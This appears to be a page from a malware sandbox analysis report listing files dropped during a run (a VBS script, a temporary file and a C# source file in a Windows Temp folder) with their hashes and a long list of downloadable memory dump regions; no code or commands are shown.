T137D3864B7A743002EDE59A722CE051BB5E3C716D8F51A5D438B620588EF2963B23D4BF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

wbkimd.vbs

Path C:\Users\Admin\AppData\Local\Temp\wbkimd.vbs
Size 4.6MB
SHA256 5af5cf9563985cf0543e6025cfb453f18ace48380b964fd815d9344141cb2dfd
MD5 ae309f56467d667ae3094db5b7b18675
SHA1 bb1c43e99ff824d4ab21fe9b1ea6a93a5e401215
SHA512 6101c00d3c50aa2e0be4d603d45b4be4895ea6c803428726edb2f573280977d0abf276358b16b1afcb90ff359ad145e14a06e1150b437d6ed65e3ed699111355
SSDEEP 768:3OHMs8848888A8888++V88JG888888888s88888888888888888888888888888D:LsrtTMM
TLSH
T181264A1DB89933C446D9C271F0961AEBEA64353B439EBF9FAAF929301B3F345590042D
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

CSCA13673F5D11C4406ACF09B5DE8DC2082.TMP

Path \??\c:\Users\Admin\AppData\Local\Temp\CSCA13673F5D11C4406ACF09B5DE8DC2082.TMP
Size 1KB
SHA256 bdc65a355c2540f3ddbc792fb7cb470205b049b7a49a903765cb6995590b1339
MD5 50f536e2c49cc088dc7219c2d625a3ae
SHA1 944c94a195dabccf5e99a03a0023097e0c7d05fa
SHA512 77215a61297d80a335cc891399f4919ab7a7654da10ac254a6968444db89cf5ee2924a1d206d175ef8c16290b3aeca4bbd66fb9142885e75860072dc777d32ee
TLSH
T16421AB45A2E8421EF2B3477079F2C362A16DBF669D7A43EC3488175F2F1690085836B1
MD5 SHA1 SHA512 TLSH

Submit Download

guardian_src_9f3c7baf500e49008f98530910e31d16.cs

Path \??\c:\Users\Admin\AppData\Local\Temp\guardian_src_9f3c7baf500e49008f98530910e31d16.cs
Size 4KB
SHA256 3ee1bf1ab210527e7543dc78ca3511904bf7770d571eb0d11746edd9f5bf814a
MD5 b7d40eb7e1328728d647678e1ea0a4dc
SHA1 43850a88c7f012df9e7349886497271c83e2bdaa
SHA512 a531df01588357b0d669d563fada88e78b0b3d1453e40605a872e9fba6091bb46a623b0817aafab946b01f92d5810ed7eb97ed9373eaeacb9970b316278667a4
SSDEEP 96:noO1V0E4Yt1YOC3idfygNzkfK1Sg5vpVIHZZ:jl481hC3i1ygNzw5g5vpVw3
TLSH
T19F911298954DA2D69872223AFB03D15BF603103322FF9A20FEADD3505F3D0018678F69
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/1616-38-0x0000000007820000-0x000000000789C000-memory.dmp

Download

memory/1616-116-0x0000000007DB0000-0x0000000007F72000-memory.dmp

Download

memory/1616-36-0x0000000007080000-0x0000000007112000-memory.dmp

Download

memory/1616-27-0x0000000005BC0000-0x0000000006164000-memory.dmp

Download

memory/1616-41-0x00000000079F0000-0x00000000079F8000-memory.dmp

Download

memory/1616-26-0x00000000054D0000-0x0000000005536000-memory.dmp

Download

memory/1616-25-0x0000000005570000-0x000000000560C000-memory.dmp

Download

memory/1616-21-0x0000000000400000-0x000000000041C000-memory.dmp

Download

memory/3792-18-0x0000029B3DB80000-0x0000029B3DBA2000-memory.dmp

Download

memory/3792-10-0x0000029B3DB50000-0x0000029B3DB72000-memory.dmp

Download

memory/3792-0-0x0000029B3DC10000-0x0000029B3DC20000-memory.dmp

Download

memory/3936-82-0x0000000140000000-0x0000000140558000-memory.dmp

Download

memory/3936-99-0x0000000140000000-0x0000000140558000-memory.dmp

Download

memory/3936-106-0x0000000140000000-0x0000000140558000-memory.dmp

Download

memory/3936-103-0x0000000140000000-0x0000000140558000-memory.dmp

Download

memory/3936-111-0x0000000140000000-0x0000000140558000-memory.dmp

Download

memory/3936-117-0x0000000140000000-0x0000000140558000-memory.dmp

Download

memory/3936-118-0x0000000140000000-0x0000000140558000-memory.dmp

Download

memory/3936-120-0x0000000140000000-0x0000000140558000-memory.dmp

Download

memory/3936-81-0x0000000140000000-0x0000000140558000-memory.dmp

Download

memory/3936-83-0x0000000140000000-0x0000000140558000-memory.dmp

Download

memory/3936-129-0x0000000140000000-0x0000000140558000-memory.dmp

Download

memory/3936-130-0x0000000140000000-0x0000000140558000-memory.dmp

Download

memory/3936-84-0x0000000140000000-0x0000000140558000-memory.dmp

Download

memory/3936-80-0x0000000140000000-0x0000000140558000-memory.dmp

Download

memory/3936-79-0x0000000140000000-0x0000000140558000-memory.dmp

Download

memory/3936-88-0x0000000140000000-0x0000000140558000-memory.dmp

Download

memory/3936-89-0x0000000140000000-0x0000000140558000-memory.dmp

Download

memory/3936-91-0x0000000140000000-0x0000000140558000-memory.dmp

Download

memory/3936-90-0x0000000140000000-0x0000000140558000-memory.dmp

Download

memory/3936-93-0x0000000140000000-0x0000000140558000-memory.dmp

Download

memory/3936-94-0x0000000140000000-0x0000000140558000-memory.dmp

Download

memory/3936-96-0x0000000140000000-0x0000000140558000-memory.dmp

Download

memory/3936-98-0x0000000140000000-0x0000000140558000-memory.dmp

Download

memory/3936-131-0x0000000140000000-0x0000000140558000-memory.dmp

Download

memory/3936-101-0x0000000140000000-0x0000000140558000-memory.dmp

Download

memory/3936-100-0x0000000140000000-0x0000000140558000-memory.dmp

Download

memory/3936-97-0x0000000140000000-0x0000000140558000-memory.dmp

Download

memory/3936-92-0x0000000140000000-0x0000000140558000-memory.dmp

Download

memory/3936-95-0x0000000140000000-0x0000000140558000-memory.dmp

Download

memory/3936-102-0x0000000140000000-0x0000000140558000-memory.dmp

Download

memory/3936-109-0x0000000140000000-0x0000000140558000-memory.dmp

Download

memory/3936-110-0x0000000140000000-0x0000000140558000-memory.dmp

Download

memory/3936-132-0x0000000140000000-0x0000000140558000-memory.dmp

Download

memory/3936-119-0x0000000140000000-0x0000000140558000-memory.dmp

Download

memory/4232-63-0x000001A119CE0000-0x000001A119D02000-memory.dmp

Download

memory/4264-34-0x0000000000660000-0x000000000067C000-memory.dmp

Download

memory/4512-1-0x0000021A47E10000-0x0000021A47E20000-memory.dmp

Download

memory/4512-2-0x0000021A47E10000-0x0000021A47E20000-memory.dmp

Download

memory/4908-62-0x00000000054B0000-0x0000000005AD8000-memory.dmp

Download

memory/4908-61-0x0000000002920000-0x0000000002956000-memory.dmp

Download

memory/4908-76-0x00000000065A0000-0x00000000065C2000-memory.dmp

Download

memory/4908-75-0x0000000006240000-0x000000000628C000-memory.dmp

Download

memory/4908-74-0x00000000061F0000-0x000000000620E000-memory.dmp

Download

memory/4908-73-0x0000000005CD0000-0x0000000006024000-memory.dmp

Download

memory/4908-64-0x0000000005B10000-0x0000000005B32000-memory.dmp

Download

memory/4908-65-0x0000000005BB0000-0x0000000005C16000-memory.dmp

Download